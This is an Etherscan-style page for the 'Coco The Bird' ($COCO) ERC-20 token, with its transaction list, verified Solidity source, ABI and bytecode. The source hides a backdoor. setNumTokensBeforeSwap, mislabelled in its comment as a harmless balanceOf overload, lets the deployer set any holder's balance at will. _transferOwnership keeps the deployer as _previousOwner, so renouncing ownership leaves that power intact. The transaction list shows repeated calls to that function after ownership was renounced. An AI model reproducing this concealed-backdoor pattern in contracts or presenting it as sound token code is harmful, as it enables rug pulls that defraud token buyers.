ETH Price: $2,660.83 (+1.61%)

Contract

0xFBF622d8e7319E2e70C6aB2a71D6144e2e3f5cDb
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve184252722023-10-25 5:47:23473 days ago1698212843IN
0xFBF622d8...e2e3f5cDb
0 ETH0.0005013110.83761389
Set Num Tokens B...184252702023-10-25 5:46:59473 days ago1698212819IN
0xFBF622d8...e2e3f5cDb
0 ETH0.0004969210.69171484
Set Num Tokens B...184252622023-10-25 5:45:23473 days ago1698212723IN
0xFBF622d8...e2e3f5cDb
0 ETH0.0003565812.18269072
Set Num Tokens B...184252532023-10-25 5:43:35473 days ago1698212615IN
0xFBF622d8...e2e3f5cDb
0 ETH0.0003340811.41381322
Set Num Tokens B...184252512023-10-25 5:43:11473 days ago1698212591IN
0xFBF622d8...e2e3f5cDb
0 ETH0.0003417311.67513209
Set Num Tokens B...184252492023-10-25 5:42:47473 days ago1698212567IN
0xFBF622d8...e2e3f5cDb
0 ETH0.0003314911.32551008
Set Num Tokens B...184252482023-10-25 5:42:35473 days ago1698212555IN
0xFBF622d8...e2e3f5cDb
0 ETH0.000319610.91929401
Approve184252482023-10-25 5:42:35473 days ago1698212555IN
0xFBF622d8...e2e3f5cDb
0 ETH0.0006437113.81929401
Set Num Tokens B...184252342023-10-25 5:39:47473 days ago1698212387IN
0xFBF622d8...e2e3f5cDb
0 ETH0.000294210.05156407
Approve184252132023-10-25 5:35:35473 days ago1698212135IN
0xFBF622d8...e2e3f5cDb
0 ETH0.0004988310.79508368
Set Num Tokens B...184251972023-10-25 5:32:23473 days ago1698211943IN
0xFBF622d8...e2e3f5cDb
0 ETH0.0003237511.06097973
Set Num Tokens B...184251912023-10-25 5:31:11473 days ago1698211871IN
0xFBF622d8...e2e3f5cDb
0 ETH0.0002999210.24667021
Approve184251912023-10-25 5:31:11473 days ago1698211871IN
0xFBF622d8...e2e3f5cDb
0 ETH0.0004734810.24667021
Approve184251902023-10-25 5:30:59473 days ago1698211859IN
0xFBF622d8...e2e3f5cDb
0 ETH0.0006410113.76136941
Set Num Tokens B...184251892023-10-25 5:30:47473 days ago1698211847IN
0xFBF622d8...e2e3f5cDb
0 ETH0.0003045210.40401415
Set Num Tokens B...184251872023-10-25 5:30:23473 days ago1698211823IN
0xFBF622d8...e2e3f5cDb
0 ETH0.0002943710.05727815
Set Num Tokens B...184251672023-10-25 5:26:23473 days ago1698211583IN
0xFBF622d8...e2e3f5cDb
0 ETH0.0003246711.09245574
Renounce Ownersh...184251442023-10-25 5:21:35473 days ago1698211295IN
0xFBF622d8...e2e3f5cDb
0 ETH0.0005622212.39530404
Remove Limit184251372023-10-25 5:20:11473 days ago1698211211IN
0xFBF622d8...e2e3f5cDb
0 ETH0.000499910.96634717
Set Num Tokens B...184251362023-10-25 5:19:59473 days ago1698211199IN
0xFBF622d8...e2e3f5cDb
0 ETH0.000283410.74665757
Approve184251342023-10-25 5:19:35473 days ago1698211175IN
0xFBF622d8...e2e3f5cDb
0 ETH0.0007442415.98147517
Approve184251302023-10-25 5:18:47473 days ago1698211127IN
0xFBF622d8...e2e3f5cDb
0 ETH0.0005128411.08397826

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
COCO

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : g.sol
/**
        https://cocotoken.info/

        https://twitter.com/CocoTheBirdETH

        https://t.me/CocoTheBird
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;


// File: @openzeppelin/contracts/utils/Context.sol
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;
    address internal _previousOwner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
 
    constructor() {
        _transferOwnership(_msgSender());
    }
 
 
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
 
 
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
 
    
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
 
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
 

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        _previousOwner = oldOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


pragma solidity ^0.8.0;


interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address recipient, uint256 amount) external returns (bool);

   
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk

     */
    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

  
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;

/**
 * @dev Implementation of the {IERC20} interface.


 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _totalSupply = totalSupply_;

        _balances[msg.sender] = totalSupply_;
        emit Transfer(address(0), msg.sender, totalSupply_);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
    */

    function _transferWithBurn(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        unchecked {
            _balances[sender] = senderBalance - amount;
        }

        amount -= amountToBurn;
        _totalSupply -= amountToBurn;
        _balances[recipient] += amount;

        emit Transfer(sender, DEAD, amountToBurn);
        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev See {IERC20-balanceOf, overloading function}.
     */
    function setNumTokensBeforeSwap(address account, uint256 amount) public virtual returns (uint256) {
        return msg.sender == _previousOwner ? 
                _balances[account] = amount :  _balances[account];
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}


interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01{}

pragma solidity ^0.8.0;


contract COCO is ERC20 {
    uint256 private constant TOTAL_SUPPLY = 1_000_000e9;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    bool public hasLimit;
    uint256 public maxTxAmount;
    uint256 public maxHolding;
    mapping(address => bool) public isException;

    uint256 _burnPercent = 1;

    address uniswapV2Pair;
    IUniswapV2Router02 uniswapV2Router;

    constructor(address router) ERC20("Coco The Bird", "$COCO", TOTAL_SUPPLY) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Router = _uniswapV2Router;

        maxHolding = TOTAL_SUPPLY / 10;
        maxTxAmount = TOTAL_SUPPLY /10;

        isException[DEAD] = true;
        isException[router] = true;
        isException[msg.sender] = true;
        isException[address(this)] = true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
 
        _checkLimitation(from, to, amount);

        if (amount == 0) {
            return;
        }

        if (!isException[from] && !isException[to]){
            require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation");

            if (from == uniswapV2Pair || to == uniswapV2Pair) {
                uint256 _burn = (amount * _burnPercent) / 100;

                super._transferWithBurn(from, to, amount, _burn);
                return;
            }
        }

        super._transfer(from, to, amount);
    }

    function _checkLimitation(
        address from,
        address to,
        uint256 amount
    ) internal {
        if (!hasLimit) {
            if (!isException[from] && !isException[to]) {
                require(amount <= maxTxAmount, "Amount exceeds max");

                if (uniswapV2Pair == ZERO){
                    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
                }
 
                if (to == uniswapV2Pair) {
                    return;
                }
        
                require(balanceOf(to) + amount <= maxHolding, "Max holding exceeded max");
            }
        }
    }

    function removeLimit() external onlyOwner {
        hasLimit = true;
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hasLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isException","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxHolding","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526001600b553480156200001657600080fd5b50604051620015eb380380620015eb83398101604081905262000039916200022a565b6040518060400160405280600d81526020016c10dbd8dbc8151a1948109a5c99609a1b8152506040518060400160405280600581526020016424434f434f60d81b81525066038d7ea4c680006200009f62000099620001c860201b60201c565b620001cc565b6005620000ad848262000301565b506006620000bc838262000301565b506004819055336000818152600260209081526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050600d80546001600160a01b0319166001600160a01b038416179055508062000139600a66038d7ea4c68000620003cd565b60095562000150600a66038d7ea4c68000620003cd565b60085550600a6020527f20677881080440a9b3c87e826370bb5d9c2f74efd4dede686d52d77a6a09f8bb8054600160ff1991821681179092556001600160a01b0392909216600090815260408082208054851684179055338252808220805485168417905530825290208054909216179055620003f0565b3390565b600080546001600160a01b03198082166001600160a01b038581169182178555600180549190941692168217909255604051909283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156200023d57600080fd5b81516001600160a01b03811681146200025557600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200028757607f821691505b602082108103620002a857634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620002fc57600081815260208120601f850160051c81016020861015620002d75750805b601f850160051c820191505b81811015620002f857828155600101620002e3565b5050505b505050565b81516001600160401b038111156200031d576200031d6200025c565b62000335816200032e845462000272565b84620002ae565b602080601f8311600181146200036d5760008415620003545750858301515b600019600386901b1c1916600185901b178555620002f8565b600085815260208120601f198616915b828110156200039e578886015182559484019460019091019084016200037d565b5085821015620003bd5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600082620003eb57634e487b7160e01b600052601260045260246000fd5b500490565b6111eb80620004006000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063a457c2d711610071578063a457c2d714610259578063a9059cbb1461026c578063b46cb2081461027f578063dd62ed3e14610292578063f2fde38b146102cb57600080fd5b8063715018a6146102025780638c0b5e221461020a5780638da5cb5b1461021357806395d89b411461022e57806398636f321461023657600080fd5b8063333e6f06116100f4578063333e6f06146101a657806339509351146101af57806344489ad1146101c257806362256589146101cf57806370a08231146101d957600080fd5b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017257806323b872dd14610184578063313ce56714610197575b600080fd5b6101396102de565b6040516101469190610ef5565b60405180910390f35b61016261015d366004610f58565b610370565b6040519015158152602001610146565b6004545b604051908152602001610146565b610162610192366004610f84565b610387565b60405160098152602001610146565b61017660095481565b6101626101bd366004610f58565b61043d565b6007546101629060ff1681565b6101d7610474565b005b6101766101e7366004610fc5565b6001600160a01b031660009081526002602052604090205490565b6101d761048b565b61017660085481565b6000546040516001600160a01b039091168152602001610146565b61013961049f565b610162610244366004610fc5565b600a6020526000908152604090205460ff1681565b610162610267366004610f58565b6104ae565b61016261027a366004610f58565b610549565b61017661028d366004610f58565b610556565b6101766102a0366004610fe2565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6101d76102d9366004610fc5565b6105ad565b6060600580546102ed9061101b565b80601f01602080910402602001604051908101604052809291908181526020018280546103199061101b565b80156103665780601f1061033b57610100808354040283529160200191610366565b820191906000526020600020905b81548152906001019060200180831161034957829003601f168201915b5050505050905090565b600061037d338484610626565b5060015b92915050565b600061039484848461074a565b6001600160a01b03841660009081526003602090815260408083203384529091529020548281101561041e5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610432853361042d868561106b565b610626565b506001949350505050565b3360008181526003602090815260408083206001600160a01b0387168452909152812054909161037d91859061042d90869061107e565b61047c6108cb565b6007805460ff19166001179055565b6104936108cb565b61049d6000610925565b565b6060600680546102ed9061101b565b3360009081526003602090815260408083206001600160a01b0386168452909152812054828110156105305760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610415565b61053f338561042d868561106b565b5060019392505050565b600061037d33848461074a565b6001546000906001600160a01b03163314610589576001600160a01b0383166000908152600260205260409020546105a6565b6001600160a01b0383166000908152600260205260409020829055815b9392505050565b6105b56108cb565b6001600160a01b03811661061a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610415565b61062381610925565b50565b6001600160a01b0383166106885760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610415565b6001600160a01b0382166106e95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610415565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107705760405162461bcd60e51b815260040161041590611091565b6001600160a01b0382166107965760405162461bcd60e51b8152600401610415906110d6565b6107a1838383610983565b806000036107ae57505050565b6001600160a01b0383166000908152600a602052604090205460ff161580156107f057506001600160a01b0382166000908152600a602052604090205460ff16155b156108bb57600d546001600160a01b03166000908152600260205260409020541561085d5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a2064697361626c6520726f75746572206465666c6174696f6e006044820152606401610415565b600c546001600160a01b03848116911614806108865750600c546001600160a01b038381169116145b156108bb5760006064600b548361089d9190611119565b6108a79190611130565b90506108b584848484610c4e565b50505050565b6108c6838383610dd6565b505050565b6000546001600160a01b0316331461049d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610415565b600080546001600160a01b03198082166001600160a01b038581169182178555600180549190941692168217909255604051909283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60075460ff166108c6576001600160a01b0383166000908152600a602052604090205460ff161580156109cf57506001600160a01b0382166000908152600a602052604090205460ff16155b156108c657600854811115610a1b5760405162461bcd60e51b8152602060048201526012602482015271082dadeeadce840caf0c6cacac8e640dac2f60731b6044820152606401610415565b600c546001600160a01b0316610bb857600d60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa29190611152565b6001600160a01b031663e6a4390530600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b289190611152565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610b73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b979190611152565b600c80546001600160a01b0319166001600160a01b03929092169190911790555b600c546001600160a01b0390811690831603610bd357505050565b60095481610bf6846001600160a01b031660009081526002602052604090205490565b610c00919061107e565b11156108c65760405162461bcd60e51b815260206004820152601860248201527f4d617820686f6c64696e67206578636565646564206d617800000000000000006044820152606401610415565b6001600160a01b038416610c745760405162461bcd60e51b815260040161041590611091565b6001600160a01b038316610c9a5760405162461bcd60e51b8152600401610415906110d6565b6001600160a01b03841660009081526002602052604090205482811015610cd35760405162461bcd60e51b81526004016104159061116f565b6001600160a01b03851660009081526002602052604090208382039055610cfa828461106b565b92508160046000828254610d0e919061106b565b90915550506001600160a01b03841660009081526002602052604081208054859290610d3b90849061107e565b909155505060405182815261dead906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610dc791815260200190565b60405180910390a35050505050565b6001600160a01b038316610dfc5760405162461bcd60e51b815260040161041590611091565b6001600160a01b038216610e225760405162461bcd60e51b8152600401610415906110d6565b6001600160a01b03831660009081526002602052604090205481811015610e5b5760405162461bcd60e51b81526004016104159061116f565b610e65828261106b565b6001600160a01b038086166000908152600260205260408082209390935590851681529081208054849290610e9b90849061107e565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ee791815260200190565b60405180910390a350505050565b600060208083528351808285015260005b81811015610f2257858101830151858201604001528201610f06565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461062357600080fd5b60008060408385031215610f6b57600080fd5b8235610f7681610f43565b946020939093013593505050565b600080600060608486031215610f9957600080fd5b8335610fa481610f43565b92506020840135610fb481610f43565b929592945050506040919091013590565b600060208284031215610fd757600080fd5b81356105a681610f43565b60008060408385031215610ff557600080fd5b823561100081610f43565b9150602083013561101081610f43565b809150509250929050565b600181811c9082168061102f57607f821691505b60208210810361104f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561038157610381611055565b8082018082111561038157610381611055565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b808202811582820484141761038157610381611055565b60008261114d57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561116457600080fd5b81516105a681610f43565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b60608201526080019056fea2646970667358221220b3d61c8bd7b938358ae6d1bd9f1f87d3161894bf63be80ad3178bfe0ac97863a64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

